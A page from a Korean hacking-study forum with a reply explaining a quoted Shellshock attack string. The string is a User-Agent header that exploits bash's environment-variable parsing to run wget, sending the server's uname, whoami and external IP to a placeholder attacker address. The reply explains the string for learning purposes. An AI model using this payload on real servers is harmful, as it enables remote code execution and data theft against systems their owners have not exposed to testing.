214, 9/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2692     Date : 2015/06/28 03:28


    
54   웹해킹 공부 질문이요~[2]     ansqudfyd
 05/02 3541
53   이 공격구문에 대한 설명 부탁드립니다.[1]     ju3622
 05/05 3574
52   php책 추천 부탁드립니다.[1]     h@cking2013
 06/05 3950
51   맥북으로 웹 모의해킹     chachaco
 06/16 3979
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2691
49   KISA 해킹방어 훈련장 WEB 문제와 관련해서 질문드립니다.[1]     jhjang1005
 07/16 3512
48   웹쉘 관련 질문있습니다.     stoopynice
 07/26 4717
47   sqlmap 관련및 데이터베이스 관련에 질문합니다[1]     r0ki
 10/10 3420
46   URL을 활용한 Json 파일 API분석     huny606
 12/24 2924
45   궁금해서 질문합니다~[2]     ju3622
 01/09 2712
44   의뢰입니다[4]     jjogun
 01/30 3056
43   프록시 프로그램이 안됩니다[1]     yayaja11
 03/05 2880
42   sql injection 공격 오류반환질문이요.[4]     yayaja11
 03/21 2839
41   완전초보라 궁금하네요 웹쉘 XSS 등[1]     sm8303
 04/21 3797
40   쿠키문의[3]     sm8303
 04/21 2876
39   HTTP 헤더[1]     chaneyoon
 04/30 2850
38   바둑이 올뷰어 제작자 모십니다     killerkor
 05/25 3118
37   크래킹 해주실분 구해요 (불법x) 사례드립니다.     mss0812
 06/22 3244
36   칼리리눅스 웹 취약점 점검 스캐너 질문..     duwkakstp1
 08/21 4133
35   게시물 비밀번호 우회     qkrrmsgP
 11/08 4194
[1][2][3][4][5][6][7][8] 9 [10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org